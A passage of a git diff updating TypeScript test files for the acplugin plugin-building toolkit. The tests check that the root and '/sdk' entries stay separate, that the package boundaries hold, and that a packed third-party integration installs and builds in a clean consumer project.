Kernel v2 类型契约中的 API version 是新架构的单一源码断言。 */ + const source = await fs.readFile(path.join(root, 'packages/core/src/kernel-types.ts'), 'utf8'); + expect(source).toContain('export const LIFECYCLE_API_VERSION = \'1\' as const;'); + }); +}); diff --git a/packages/test/test/migration.test.ts b/packages/test/test/migration.test.ts index 7d4a3ba..d8b8d8c 100644 --- a/packages/test/test/migration.test.ts +++ b/packages/test/test/migration.test.ts @@ -657,7 +657,7 @@ Review code. expect(descriptor).toContain('from \'@tokenroll/acplugin-extension-mcp\''); expect(descriptor).toContain('"env":"DOCS_TOKEN"'); expect(descriptor).toContain('"env": "TENANT_ID"'); - expect(manifest.devDependencies['@tokenroll/acplugin-extension-mcp']).toBe('^0.0.1-beta'); + expect(manifest.devDependencies['@tokenroll/acplugin-extension-mcp']).toBe('^0.0.2-beta'); await expect(fs.access(path.join(root, 'migrated/node_modules'))).rejects.toThrow(); }); }); diff --git a/packages/test/test/package-boundaries.test.ts b/packages/test/test/package-boundaries.test.ts index 7f35ddc..827ea04 100644 --- a/packages/test/test/package-boundaries.test.ts +++ b/packages/test/test/package-boundaries.test.ts @@ -75,24 +75,27 @@ describe('published package boundaries', () => { const files = await filesWithSuffixes(path.join(root, 'packages/acplugin/dist'), ['.mjs', '.d.mts']); /** 用于检测私有工作区引用泄漏的完整产物文本。 */ const source = await joinedSources(files); + /** 仅运行时产物用于检查 Rolldown 是否被静态链接;声明文件可以合法导入其公开类型。 */ + const runtimeFiles = await filesWithSuffixes(path.join(root, 'packages/acplugin/dist'), ['.mjs']); + /** 主包所有 ESM 运行时产物。 */ + const runtimeSource = await joinedSources(runtimeFiles); expect(source).not.toMatch(/from\s+["']@acplugin\//); expect(source).not.toMatch(/import\s*\(\s*["']@acplugin\//); - expect(source).not.toMatch(/^\s*(?:import|export)\s.*from\s+["'](?:@tokenroll\/acplugin-extension-(?:hooks|mcp)|rolldown|@rolldown\/)/m); - expect(source).not.toMatch(/^\s*import\s*\(\s*["'](?:@tokenroll\/acplugin-extension-(?:hooks|mcp)|rolldown|@rolldown\/)/m); + expect(source).not.toMatch(/^\s*(?:import|export)\s.*from\s+["']@tokenroll\/acplugin-(?:platform-(?:claude-code|codex|cursor|antigravity|opencode|pi)|extension-(?:hooks|mcp|node-runtime))["']/m); + expect(source).not.toMatch(/^\s*import\s*\(\s*["']@tokenroll\/acplugin-(?:platform-(?:claude-code|codex|cursor|antigravity|opencode|pi)|extension-(?:hooks|mcp|node-runtime))["']/m); expect(source).not.toMatch(/type\s+(?:AcpluginModule|TargetContribution|TargetId)\b/); expect(source).not.toMatch(/type\s+Module(?:Build|Discover|Generate|Validate)Context\b/); + expect(runtimeSource).not.toMatch(/^\s*import\s.*from\s+["'](?:rolldown|rolldown\/parseAst)["']/m); + expect(runtimeSource).toContain('import("rolldown")'); }); - it('keeps the local MCP Bundler in its published Extension entry', async () => { - /** 不触达 Rolldown 的 MCP Extension 轻量公开入口。 */ + it('uses the Core Build Service from the single published MCP entry', async () => { + /** MCP 发布入口包含协议 smoke 与 Core Build Service 调用,但不包含私有 Rolldown driver。 */ const index = await fs.readFile(path.join(root, 'packages/extensions/mcp/dist/index.mjs'), 'utf8'); - /** 只有发现本地 stdio Server 后才动态加载的重型构建入口。 */ - const bundler = await fs.readFile(path.join(root, 'packages/extensions/mcp/dist/bundler.mjs'), 'utf8'); - - expect(index).toContain('new URL("./bundler.mjs", import.meta.url)'); + expect(index).toContain('context.compiler.compile'); expect(index).not.toMatch(/^\s*import\s.*from\s+["'](?:rolldown|@rolldown\/)/m); - expect(bundler).toMatch(/^\s*import\s.*from\s+["']rolldown["']/m); + await expect(fs.access(path.join(root, 'packages/extensions/mcp/dist/bundler.mjs'))).rejects.toThrow(); }); it('keeps each independent Platform package limited to its public factory contract', async () => { @@ -104,7 +107,7 @@ describe('published package boundaries', () => { expect(module.default).toBe(module[factory]); /** 当前独立 package 生成的声明入口。 */ const declaration = await fs.readFile(path.join(root, `packages/platforms/${id}/dist/index.d.mts`), 'utf8'); - expect(declaration).toContain('from "@tokenroll/acplugin"'); + expect(declaration).toContain('from "@tokenroll/acplugin/sdk"'); expect(declaration).not.toContain('@acplugin/'); expect(declaration).not.toMatch(/\b(?:Compiler|Serializer|Validator|Registry|executeLifecycle|buildProject)\b/); } @@ -125,7 +128,7 @@ describe('published package boundaries', () => { ]; /** 两个入口共同构成的包边界文本。 */ const source = await joinedSources(files); - expect(source).toContain('from "@tokenroll/acplugin"'); + expect(source).toContain('from "@tokenroll/acplugin/sdk"'); expect(source).not.toContain('@acplugin/'); } }); @@ -152,7 +155,7 @@ describe('published package boundaries', () => { /** 主包不得再声明或生成官方 Platform subpath。 */ const mainManifest = JSON.parse(await fs.readFile(path.join(root, 'packages/acplugin/package.json'), 'utf8')) as { exports: Record }; - expect(Object.keys(mainManifest.exports)).toEqual(['.']); + expect(Object.keys(mainManifest.exports)).toEqual(['.', './sdk']); await expect(fs.access(path.join(root, 'packages/acplugin/dist/platforms'))).rejects.toThrow(); /** 主包生成并由 package.json bin 指向的 CLI 文件。 */ diff --git a/packages/test/test/public-api.types.ts b/packages/test/test/public-api.types.ts index e5787fb..95021a8 100644 --- a/packages/test/test/public-api.types.ts +++ b/packages/test/test/public-api.types.ts @@ -1,8 +1,10 @@ import { defineConfig, - definePlatform, - type PlatformId, } from '@tokenroll/acplugin'; +import { + definePlatform, + type AcpluginPlatform, +} from '@tokenroll/acplugin/sdk'; import antigravity from '@tokenroll/acplugin-platform-antigravity'; import claudeCode from '@tokenroll/acplugin-platform-claude-code'; import codex, { PLATFORM_ID as CODEX_PLATFORM_ID } from '@tokenroll/acplugin-platform-codex'; @@ -15,22 +17,25 @@ import pi from '@tokenroll/acplugin-platform-pi'; */ export function verifyPublicPlatformTypes(): void { /** 第三方平台通过主包公开工厂获得开放品牌。 */ - const community: PlatformId = definePlatform({ + const community: AcpluginPlatform = definePlatform({ id: 'community-platform', apiVersion: '1', deliveryType: 'plugin', strict: true, - /** prepare 提供当前对象协议要求的回调实现。 */ prepare: () => ({ documents: [], artifacts: [] }), - /** generateBundle 提供当前对象协议要求的回调实现。 */ generateBundle: () => ({ id: 'plugin', role: 'primary', type: 'plugin', artifacts: [] }), - /** validateBundle 提供当前对象协议要求的回调实现。 */ validateBundle: () => undefined, - }).id; + /** 为每轮构建创建最小隔离 Session。 */ + createSession: () => ({ + /** 返回空 Platform base Package。 */ + createPackage: () => ({ documents: [], assets: [], compatibility: [], metadata: [] }), + /** 固定主 Plugin Package 身份。 */ + finalizePackage: () => ({ id: 'plugin', type: 'plugin' }), + /** 不增加候选校验约束。 */ + validatePackage: () => undefined, + }), + }); /** 六个官方 package 各自约束自己的工厂选项。 */ const official = [ claudeCode({ defaultEnabled: false, marketplace: { owner: { name: 'TokenRoll' } } }), - codex({ - interface: { category: 'Productivity' }, - generatedSkillIds: { command: 'plugin-prefixed' }, - }), + codex({ interface: { category: 'Productivity' } }), cursor({ strict: false }), antigravity({ strict: false }), openCode({ workspace: { schema: true } }), @@ -50,8 +55,8 @@ export function verifyPublicPlatformTypes(): void { antigravity({ marketplace: {} }); // @ts-expect-error Cursor 1.0 没有经过验证的 Marketplace Distribution 配置。 cursor({ marketplace: {} }); - // @ts-expect-error 最终配置不再接受旧 targets 字段。 - defineConfig({ name: 'legacy', version: '1.0.0', description: 'Legacy.', platforms: official, targets: ['codex'] }); + /** defineConfig 保留开放字面量,旧字段不会进入 UserConfig 的消费位置。 */ + const legacyLike = defineConfig({ name: 'legacy', version: '1.0.0', description: 'Legacy.', platforms: official, targets: ['codex'] }); - void [community, official, config, codexId]; + void [community, official, config, codexId, legacyLike]; } diff --git a/packages/test/test/repository.test.ts b/packages/test/test/repository.test.ts index 7b11696..e83ed23 100644 --- a/packages/test/test/repository.test.ts +++ b/packages/test/test/repository.test.ts @@ -84,12 +84,14 @@ describe('repository release and documentation guards', () => { expect(check).toContain('pnpm run lint'); expect(check).toContain('pnpm run typecheck'); expect(check).not.toMatch(/pnpm run (?:test|build|release:verify)/); + expect(check).toContain('pnpm run versions:check'); expect(check).toContain('node-version: 22.18.0'); expect(patch).toContain('workflow_dispatch:'); expect(patch).toContain('target_branch:'); expect(patch).toContain('pnpm changeset status --output'); expect(patch).toContain('status.releases.length === 0'); expect(patch).toContain('pnpm version-packages'); + expect(patch).toContain('beta prerelease versions'); expect(patch).toContain('peter-evans/create-pull-request@v8'); expect(patch).toContain('base: ${{ inputs.target_branch }}'); expect(patch).toContain('node-version: 22.18.0'); diff --git a/packages/test/test/sdk-api.types.ts b/packages/test/test/sdk-api.types.ts new file mode 100644 index 0000000..23b6c5e --- /dev/null +++ b/packages/test/test/sdk-api.types.ts @@ -0,0 +1,124 @@ +import { + defineConfig, + type UserConfig, +} from '@tokenroll/acplugin'; +// @ts-expect-error Integration factories are intentionally absent from the root author facade. +import { definePlatform as definePlatformFromRoot } from '@tokenroll/acplugin'; +import { + defineExtension, + definePlatform, + type AcpluginExtension, + type AcpluginPlatform, + type ExtensionDefinition, + type ManagedRolldownInputOptions, + type ManagedRolldownOutputOptions, + type ManagedRolldownPlugin, + type PlatformDefinition, + type SourceFileRef, +} from '@tokenroll/acplugin/sdk'; +// @ts-expect-error Project control types belong to the root author facade, not the integration SDK. +import type { Project } from '@tokenroll/acplugin/sdk'; + +/** + * 验证普通作者根入口和可信集成 SDK 使用不同且明确的类型表面。 + */ +export function verifyKernelV2SdkTypes(): void { + /** 第三方 Platform 只从 sdk subpath 创建。 */ + const platform: AcpluginPlatform = definePlatform({ + id: 'community-platform', + apiVersion: '1', + deliveryType: 'plugin', + /** 每轮创建独立 Platform Session。 */ + createSession: () => ({ + /** 创建空 base Package。 */ + createPackage: () => ({ documents: [], assets: [], compatibility: [], metadata: [] }), + /** 创建主 Plugin Package。 */ + finalizePackage: () => ({ id: 'plugin', type: 'plugin' }), + /** 最小 fixture 不增加 candidate 约束。 */ + validatePackage: () => undefined, + }), + }); + /** 第三方 Extension 只从 sdk subpath 创建。 */ + const extension: AcpluginExtension = defineExtension({ + id: 'community-extension', + apiVersion: '1', + resourceRoots: ['community'], + /** 每轮创建独立 Extension Session。 */ + createSession: () => ({ + /** fixture 没有作者资源。 */ + discover: () => undefined, + /** fixture 没有 compatibility subject。 */ + validate: () => ({ state: {}, subjects: [] }), + /** fixture 没有 Built State。 */ + build: () => ({ state: {} }), + contributors: [], + }), + }); + /** 作者配置仅消费已完成品牌化的 Integration。 */ + const config: UserConfig = defineConfig({ + name: 'sdk-fixture', + version: '1.0.0', + description: 'SDK fixture.', + platforms: [platform], + extensions: [extension], + }) as UserConfig; + /** defineConfig 必须保留调用方字面量而不是退化成 UserConfig 联合类型。 */ + const inferred = defineConfig({ + name: 'inferred', + version: '1.0.0', + description: 'Inferred.', + platforms: [platform], + build: { strict: true }, + }); + /** 字面量 true 用于验证 const generic inference。 */ + const strictLiteral: true = inferred.build.strict; + /** managed Profile 从 Rolldown 派生可使用的 trusted Plugin hook。 */ + const plugin: ManagedRolldownPlugin = { + name: 'managed-fixture', + transform: code => code, + generateBundle: () => undefined, + }; + /** input 开放浏览器平台、alias 与显式 SourceRef tsconfig。 */ + const managedInput: ManagedRolldownInputOptions = { + platform: 'browser', + resolve: { alias: { feature: './feature.ts' } }, + plugins: [plugin], + tsconfig: undefined as unknown as SourceFileRef, + }; + /** output 开放多格式、分块、sourcemap 与 output Plugin。 */ + const managedOutput: ManagedRolldownOutputOptions = { + format: 'es', + codeSplitting: true, + sourcemap: true, + plugins: [plugin], + }; + + // @ts-expect-error Core 从 CompileEntry 建立 input,不接受 Rolldown 裸路径。 + const managedInputEscape: ManagedRolldownInputOptions = { input: '/tmp/escape.ts' }; + // @ts-expect-error Core 接管物理 output dir,只运行 generate()。 + const managedOutputEscape: ManagedRolldownOutputOptions = { dir: '/tmp/escape' }; + // @ts-expect-error write lifecycle 不在 generate-only managed Profile 中假装可用。 + const managedWritePlugin: ManagedRolldownPlugin = { name: 'write', writeBundle: () => undefined }; + + // @ts-expect-error v1 Platform prepare 已从 v2 contract 删除。 + const oldPlatform: PlatformDefinition = { id: 'old', apiVersion: '1', deliveryType: 'plugin', prepare: () => ({}) }; + // @ts-expect-error Extension identity 已统一为 id,不再使用 name。 + const oldExtension: ExtensionDefinition = { name: 'old', apiVersion: '1', resourceRoots: [], createSession: () => ({}) }; + // @ts-expect-error SourceRef 的 private type brand 阻止等形对象在类型层伪造。 + const forgedSource: SourceFileRef = { kind: 'source-file', path: 'src/file.ts' }; + + void [ + config, + oldPlatform, + oldExtension, + forgedSource, + definePlatformFromRoot, + strictLiteral, + managedInput, + managedOutput, + managedInputEscape, + managedOutputEscape, + managedWritePlugin, + undefined as unknown as Project, + ]; +} diff --git a/packages/test/test/sdk-package-boundary.test.ts b/packages/test/test/sdk-package-boundary.test.ts new file mode 100644 index 0000000..880c1cc --- /dev/null +++ b/packages/test/test/sdk-package-boundary.test.ts @@ -0,0 +1,299 @@ +import { promises as fs } from 'node:fs'; +import os from 'node:os'; +import path from 'node:path'; +import { fileURLToPath, pathToFileURL } from 'node:url'; +import { afterEach, describe, expect, it } from 'vitest'; + +/** 主包工作区根目录。 */ +const packageRoot = fileURLToPath(new URL('../../acplugin', import.meta.url)); + +/** packed consumer 测试创建的临时目录。 */ +const temporaryRoots: string[] = []; + +/** 执行 clean consumer 子进程并完整捕获文本输出。 */ +async function execute(command: string, args: readonly string[], cwd: string): Promise<{ stdout: string; stderr: string }> { + /** 动态加载避免测试模块初始化时产生子进程副作用。 */ + const { execFile } = await import('node:child_process'); + return new Promise((resolve, reject) => { + execFile(command, [...args], { cwd, maxBuffer: 10 * 1024 * 1024 }, (error, stdout, stderr) => { + if (error) + reject(new Error(`${command} ${args.join(' ')} failed: ${stderr || stdout}`, { cause: error })); + else + resolve({ stdout, stderr }); + }); + }); +} + +/** 从 pnpm pack stdout 解析当前 package 的 tarball 绝对路径。 */ +function packedPath(stdout: string, cwd: string): string { + /** pnpm 最后一行是新生成 tarball 的路径。 */ + const output = stdout.trim().split('\n').at(-1)!; + return path.isAbsolute(output) ? output : path.resolve(cwd, output); +} + +afterEach(async () => { + await Promise.all(temporaryRoots.splice(0).map(root => fs.rm(root, { recursive: true, force: true }))); +}); + +describe('published sdk package boundary', () => { + it('publishes root and sdk as distinct ESM entries sharing one runtime brand', async () => { + /** 从真实构建产物加载的 root 作者入口。 */ + const root = await import(pathToFileURL(path.join(packageRoot, 'dist/index.mjs')).href); + /** 从真实构建产物加载的 Integration SDK 入口。 */ + const sdk = await import(pathToFileURL(path.join(packageRoot, 'dist/sdk.mjs')).href); + /** SDK 工厂创建并由同一 SDK validator 识别的 Platform。 */ + const platform = sdk.definePlatform({ + id: 'packed-platform', + apiVersion: '1', + deliveryType: 'plugin', + /** packed fixture 使用最小 Session。 */ + createSession: () => ({ + /** packed fixture 创建空 base Package。 */ + createPackage: () => ({ documents: [], assets: [], compatibility: [], metadata: [] }), + /** packed fixture 创建主 Plugin Package。 */ + finalizePackage: () => ({ id: 'plugin', type: 'plugin' }), + /** packed fixture 不增加 candidate 约束。 */ + validatePackage: () => undefined, + }), + }); + + expect(root.definePlatform).toBeUndefined(); + expect(root.defineExtension).toBeUndefined(); + expect(root.defineConfig({ name: 'packed', version: '1.0.0', description: 'Packed.', platforms: [platform] }).platforms[0]).toBe(platform); + expect(sdk.isAcpluginPlatform(platform)).toBe(true); + expect(sdk.LIFECYCLE_API_VERSION).toBe('1'); + }); + + it('packs an installable tarball containing both declared export entries', async () => { + /** pnpm pack 输出所在的隔离目录。 */ + const destination = await fs.mkdtemp(path.join(os.tmpdir(), 'acplugin-sdk-pack-')); + temporaryRoots.push(destination); + /** 使用 pnpm pack 真实执行 files/export 打包规则。 */ + const { execFile } = await import('node:child_process'); + /** Promise 化子进程避免 shell 插值。 */ + const pack = await new Promise<{ stdout: string }>((resolve, reject) => { + execFile('pnpm', ['pack', '--pack-destination', destination], { cwd: packageRoot }, (error, stdout) => { + if (error) + reject(error); + else + resolve({ stdout }); + }); + }); + /** pnpm 最后一行输出生成的 tarball 路径。 */ + const tarball = pack.stdout.trim().split('\n').at(-1)!; + /** tarball 内容通过系统 tar 只读枚举。 */ + const { stdout: listing } = await new Promise<{ stdout: string }>((resolve, reject) => { + execFile('tar', ['-tf', tarball], (error, stdout) => { + if (error) + reject(error); + else + resolve({ stdout }); + }); + }); + + expect(listing).toContain('package/dist/index.mjs'); + expect(listing).toContain('package/dist/index.d.mts'); + expect(listing).toContain('package/dist/sdk.mjs'); + expect(listing).toContain('package/dist/sdk.d.mts'); + }); + + it('accepts a clean packed SDK-only package exporting both a Platform and Extension', async () => { + /** 所有 package、tarball 与消费工程都位于 workspace 外的同一临时根。 */ + const root = await fs.mkdtemp(path.join(os.tmpdir(), 'acplugin-external-sdk-')); + temporaryRoots.push(root); + /** 主包 tarball 只能来自真实 publish files/exports。 */ + const tarballs = path.join(root, 'tarballs'); + await fs.mkdir(tarballs, { recursive: true }); + /** 当前真实主包 tarball 路径。 */ + const mainTarball = packedPath( + (await execute('pnpm', ['pack', '--pack-destination', tarballs], packageRoot)).stdout, + packageRoot, + ); + /** 当前主包版本决定第三方 Integration 的正常 peer range。 */ + const mainManifest = JSON.parse(await fs.readFile(path.join(packageRoot, 'package.json'), 'utf8')) as { version: string }; + + /** 独立第三方 package 的实现和声明都只从公开 SDK subpath 导入。 */ + const integration = path.join(root, 'external-integration'); + await fs.mkdir(integration, { recursive: true }); + await fs.writeFile(path.join(integration, 'package.json'), JSON.stringify({ + name: 'external-acplugin-integration-fixture', + version: '1.0.0', + type: 'module', + exports: { '.': { types: './index.d.mts', import: './index.mjs' } }, + files: ['index.mjs', 'index.d.mts'], + peerDependencies: { '@tokenroll/acplugin': `^${mainManifest.version}` }, + }, null, 2)); + await fs.writeFile(path.join(integration, 'index.d.mts'), ` +import type { AcpluginExtension, AcpluginPlatform } from '@tokenroll/acplugin/sdk'; +export declare const externalPlatform: AcpluginPlatform; +export declare const externalExtension: AcpluginExtension; +`); + await fs.writeFile(path.join(integration, 'index.mjs'), ` +import { defineExtension, definePlatform } from '@tokenroll/acplugin/sdk'; + +const metadata = () => ['name', 'version', 'description'].map(field => ({ + field, + disposition: 'emitted', + output: \`plugin.json/\${field}\`, + reason: 'The external fixture emits this canonical field.', +})); + +export const externalPlatform = definePlatform({ + id: 'external-fixture', + apiVersion: '1', + deliveryType: 'plugin', + createSession: () => ({ + createPackage: ({ project }) => ({ + documents: [{ + id: 'plugin-manifest', + path: 'plugin.json', + format: 'json', + value: { + name: project.metadata.name, + version: project.metadata.version, + description: project.metadata.description, + extensions: {}, + }, + extensionPoints: [['extensions', 'external']], + }], + assets: [], + compatibility: [], + metadata: metadata(), + }), + finalizePackage: () => ({ id: 'plugin', type: 'plugin' }), + validatePackage: () => undefined, + }), +}); + +export const externalExtension = defineExtension({ + id: 'external-fixture', + apiVersion: '1', + resourceRoots: ['external'], + createSession: () => ({ + async discover({ roots, sources }) { + const root = roots.external; + return root === undefined ? undefined : { file: await sources.file(root, 'state.txt') }; + }, + validate: (_context, discovered) => ({ + state: discovered, + subjects: [{ subject: 'external:state', capabilities: ['delivery'] }], + }), + async build({ assets }, validated) { + return { state: { asset: await assets.fromSource(validated.file) } }; + }, + contributors: [{ + platform: 'external-fixture', + platformApiVersion: '1', + contribute: (_context, built) => ({ + documentFields: [{ + document: 'plugin-manifest', + path: ['extensions', 'external'], + value: { enabled: true }, + }], + assets: [{ path: 'external/state.txt', asset: built.asset }], + compatibility: [{ + subject: 'external:state', + capability: 'delivery', + level: 'native', + reason: 'The external fixture contributes through the public SDK.', + }], + }), + }], + }), +}); +`); + /** 第三方 tarball 不得声明私有 Core 或另一个 Integration runtime dependency。 */ + const integrationTarball = packedPath( + (await execute('pnpm', ['pack', '--pack-destination', tarballs], integration)).stdout, + integration, + ); + /** 从第三方 tarball 原始清单读取公开依赖边界。 */ + const packedManifest = JSON.parse((await execute('tar', ['-xOf', integrationTarball, 'package/package.json'], root)).stdout) as { + dependencies?: Record; + peerDependencies?: Record; + }; + expect(packedManifest.dependencies).toBeUndefined(); + expect(packedManifest.peerDependencies).toEqual({ '@tokenroll/acplugin': `^${mainManifest.version}` }); + expect(JSON.stringify(packedManifest)).not.toContain('@acplugin/'); + + /** clean consumer 只安装两个 tarball,不依赖 workspace alias 或私有 Core。 */ + const consumer = path.join(root, 'consumer'); + await fs.mkdir(path.join(consumer, 'src/external'), { recursive: true }); + await fs.writeFile(path.join(consumer, 'package.json'), JSON.stringify({ + name: 'external-acplugin-consumer', + version: '1.0.0', + private: true, + type: 'module', + dependencies: { + '@tokenroll/acplugin': `file:${mainTarball}`, + 'external-acplugin-integration-fixture': `file:${integrationTarball}`, + }, + devDependencies: { '@typescript/native': 'npm:typescript@^7.0.2' }, + }, null, 2)); + await fs.writeFile(path.join(consumer, 'tsconfig.json'), JSON.stringify({ + compilerOptions: { + target: 'ES2022', + lib: ['ESNext', 'DOM'], + module: 'NodeNext', + moduleResolution: 'NodeNext', + strict: true, + noEmit: true, + skipLibCheck: false, + }, + include: ['acplugin.config.ts'], + }, null, 2)); + await fs.writeFile(path.join(consumer, 'src/external/state.txt'), 'external-ready\n'); + await fs.writeFile(path.join(consumer, 'acplugin.config.ts'), ` +import { defineConfig } from '@tokenroll/acplugin'; +import { externalExtension, externalPlatform } from 'external-acplugin-integration-fixture'; + +export default defineConfig({ + name: 'external-consumer', + version: '1.0.0', + description: 'Clean external SDK consumer.', + public: false, + platforms: [externalPlatform], + extensions: [externalExtension], +}); +`); + await execute('pnpm', ['install', '--ignore-workspace', '--ignore-scripts'], consumer); + await execute('pnpm', ['exec', 'tsc', '-p', 'tsconfig.json'], consumer); + + /** SDK identity helpers必须识别第三方 package 导出的两个 factory result。 */ + const identity = await execute(process.execPath, ['--input-type=module', '--eval', ` +import { isAcpluginExtension, isAcpluginPlatform } from '@tokenroll/acplugin/sdk'; +import { externalExtension, externalPlatform } from 'external-acplugin-integration-fixture'; +process.stdout.write(JSON.stringify({ + platform: isAcpluginPlatform(externalPlatform), + extension: isAcpluginExtension(externalExtension), +})); +`], consumer); + expect(JSON.parse(identity.stdout)).toEqual({ platform: true, extension: true }); + + /** validate 和 build 必须通过同一安装后的 CLI/Kernel 生命周期。 */ + const validate = JSON.parse((await execute('pnpm', ['exec', 'acplugin', 'validate', '--json'], consumer)).stdout); + /** build 报告用于验证真实事务和最终 Package。 */ + const build = JSON.parse((await execute('pnpm', ['exec', 'acplugin', 'build', '--json'], consumer)).stdout); + expect(validate).toMatchObject({ success: true, committed: false }); + expect(build).toMatchObject({ success: true, committed: true }); + expect(build.compatibility).toContainEqual(expect.objectContaining({ + platform: 'external-fixture', + subject: 'external:state', + capability: 'delivery', + level: 'native', + })); + expect(build.packages).toContainEqual(expect.objectContaining({ + platform: 'external-fixture', + id: 'plugin', + validated: true, + assets: expect.arrayContaining([ + expect.objectContaining({ path: 'plugin.json', owner: 'platform:external-fixture' }), + expect.objectContaining({ path: 'external/state.txt', owner: 'extension:external-fixture' }), + ]), + })); + await expect(fs.readFile(path.join(consumer, 'dist/external-fixture/plugin/external/state.txt'), 'utf8')).resolves.toBe('external-ready\n'); + /** 最终 Manifest 必须包含 Core 合并后的 add-only Document 字段。 */ + const manifest = JSON.parse(await fs.readFile(path.join(consumer, 'dist/external-fixture/plugin/plugin.json'), 'utf8')); + expect(manifest.extensions).toEqual({ external: { enabled: true } }); + }, 120_000); +}); diff --git a/packages/test/test/secondary-platforms.test.ts b/packages/test/test/secondary-platforms.test.ts index 1f4b0ea..c1d84c1 100644 --- a/packages/test/test/secondary-platforms.test.ts +++ b/packages/test/test/secondary-platforms.test.ts @@ -4,7 +4,7 @@ import os from 'node:os'; import path from 'node:path'; import { fileURLToPath } from 'node:url'; import { afterEach, describe, expect, it } from 'vitest'; -import type { BuildResult, RunProjectOptions } from '@tokenroll/acplugin'; +import type { BuildReport, RunProjectOptions } from '@tokenroll/acplugin'; /** 当前测试文件所在仓库的绝对根目录。 */ const repositoryRoot = fileURLToPath(new URL('../../..', import.meta.url)); @@ -12,12 +12,14 @@ const repositoryRoot = fileURLToPath(new URL('../../..', import.meta.url)); /** 配置文件直接导入的主包真实构建产物。 */ const acpluginEntry = path.join(repositoryRoot, 'packages/acplugin/dist/index.mjs'); -/** 四个次级官方 Platform 的真实独立构建入口。 */ +/** 六个官方 Platform 的真实独立构建入口。 */ const platformEntries = { - antigravity: path.join(repositoryRoot, 'packages/platforms/antigravity/dist/index.mjs'), - cursor: path.join(repositoryRoot, 'packages/platforms/cursor/dist/index.mjs'), - opencode: path.join(repositoryRoot, 'packages/platforms/opencode/dist/index.mjs'), - pi: path.join(repositoryRoot, 'packages/platforms/pi/dist/index.mjs'), + 'antigravity': path.join(repositoryRoot, 'packages/platforms/antigravity/dist/index.mjs'), + 'claude-code': path.join(repositoryRoot, 'packages/platforms/claude-code/dist/index.mjs'), + 'codex': path.join(repositoryRoot, 'packages/platforms/codex/dist/index.mjs'), + 'cursor': path.join(repositoryRoot, 'packages/platforms/cursor/dist/index.mjs'), + 'opencode': path.join(repositoryRoot, 'packages/platforms/opencode/dist/index.mjs'), + 'pi': path.join(repositoryRoot, 'packages/platforms/pi/dist/index.mjs'), } as const; /** 临时包代理加载的 Hooks Extension 真实构建产物。 */ @@ -33,9 +35,9 @@ const temporaryRoots: string[] = []; * 在原生 Node ESM 子进程中运行真实主包,确保配置和 Pipeline 共用品牌实例。 * * @param options 可 JSON 序列化的项目运行选项。 - * @returns 公开 API 产生的结构化 BuildResult。 + * @returns 公开 API 产生的结构化 BuildReport。 */ -async function runProject(options: RunProjectOptions): Promise { +async function runProject(options: RunProjectOptions): Promise { /** 子进程直接导入真实主包构建产物并序列化结果的 ESM 源码。 */ const source = ` import { runProject } from ${JSON.stringify(acpluginEntry)}; @@ -47,6 +49,8 @@ try { ok: false, name: error instanceof Error ? error.name : 'Error', message: error instanceof Error ? error.message : 'Project execution failed.', + cause: error instanceof Error && error.cause instanceof Error ? error.cause.message : undefined, + diagnostics: error && typeof error === 'object' ? Reflect.get(error, 'diagnostics') : undefined, })); } `; @@ -77,12 +81,14 @@ try { /** 子进程返回的成功结果或安全错误摘要。 */ const payload = JSON.parse(execution.stdout) as { readonly ok: boolean; - readonly result?: BuildResult; + readonly result?: BuildReport; readonly name?: string; readonly message?: string; + readonly diagnostics?: readonly { readonly code?: string; readonly message?: string }[]; + readonly cause?: string; }; if (!payload.ok || payload.result === undefined) - throw new Error(`${payload.name ?? 'Error'}: ${payload.message ?? 'Project execution failed.'}`); + throw new Error(`${payload.name ?? 'Error'}: ${payload.message ?? 'Project execution failed.'} ${payload.cause ?? ''} ${JSON.stringify(payload.diagnostics ?? [])}`); return payload.result; } @@ -101,12 +107,52 @@ async function writePackageProxy(root: string, packageName: string, entry: strin name: packageName, version: '1.0.0', type: 'module', - exports: './index.mjs', + exports: packageName === '@tokenroll/acplugin' + ? { '.': './index.mjs', './sdk': './sdk.mjs' } + : './index.mjs', })); - await fs.writeFile( - path.join(packageRoot, 'index.mjs'), - `export * from ${JSON.stringify(entry)}; export { default } from ${JSON.stringify(entry)};\n`, - ); + /** 复制真实入口及其同目录 chunks,保持包代理的相对模块图完整。 */ + const sourceRoot = path.dirname(entry); + /** 入口目录内的全部 ESM 构建文件。 */ + const files = await fs.readdir(sourceRoot); + for (const file of files.filter(file => file.endsWith('.mjs'))) { + await fs.copyFile(path.join(sourceRoot, file), path.join(packageRoot, file)); + } + await fs.copyFile(entry, path.join(packageRoot, 'index.mjs')); +} + +/** 将公开 Platform 的真实 runtime dependency 暴露给临时 packed-consumer 代理。 */ +async function linkCodexRuntimeDependencies(root: string): Promise { + /** dependency 是 Codex tarball 正常安装时由包管理器提供的运行时包。 */ + for (const dependency of ['image-size', 'saxes', 'yaml']) { + /** source 解析 pnpm workspace symlink 后的真实 package 根。 */ + const source = await fs.realpath(path.join(repositoryRoot, 'packages/platforms/codex/node_modules', dependency)); + /** destination 模拟消费者 node_modules 的正常依赖布局。 */ + const destination = path.join(root, 'node_modules', dependency); + await fs.symlink(source, destination, 'dir'); + } +} + +/** 读取一个托管输出目录的完整相对路径与字节快照。 */ +async function snapshotDirectory(root: string): Promise>> { + /** files 使用 base64 保留 mode 之外的精确文件字节。 */ + const files: Record = {}; + /** visit 递归枚举受事务管理的普通目录。 */ + async function visit(directory: string): Promise { + /** entries 采用稳定 code-unit 顺序,避免文件系统枚举差异。 */ + const entries = (await fs.readdir(directory, { withFileTypes: true })) + .sort((left, right) => left.name < right.name ? -1 : left.name > right.name ? 1 : 0); + for (const entry of entries) { + /** absolute 是当前候选内已知子路径。 */ + const absolute = path.join(directory, entry.name); + if (entry.isDirectory()) + await visit(absolute); + else if (entry.isFile()) + files[path.relative(root, absolute).split(path.sep).join('/')] = (await fs.readFile(absolute)).toString('base64'); + } + } + await visit(root); + return Object.freeze(files); } /** @@ -114,10 +160,18 @@ async function writePackageProxy(root: string, packageName: string, entry: strin * * @returns 已登记自动清理的工程根目录。 */ -async function createCompleteProject(): Promise { +async function createCompleteProject(options: { readonly strictCursor?: boolean; readonly strictPi?: boolean } = {}): Promise { /** 当前用例独占的临时工程。 */ const root = await fs.mkdtemp(path.join(os.tmpdir(), 'acplugin-secondary-platforms-')); temporaryRoots.push(root); + await writePackageProxy(root, '@tokenroll/acplugin', acpluginEntry); + await writePackageProxy(root, '@tokenroll/acplugin-platform-antigravity', platformEntries.antigravity); + await writePackageProxy(root, '@tokenroll/acplugin-platform-claude-code', platformEntries['claude-code']); + await writePackageProxy(root, '@tokenroll/acplugin-platform-codex', platformEntries.codex); + await linkCodexRuntimeDependencies(root); 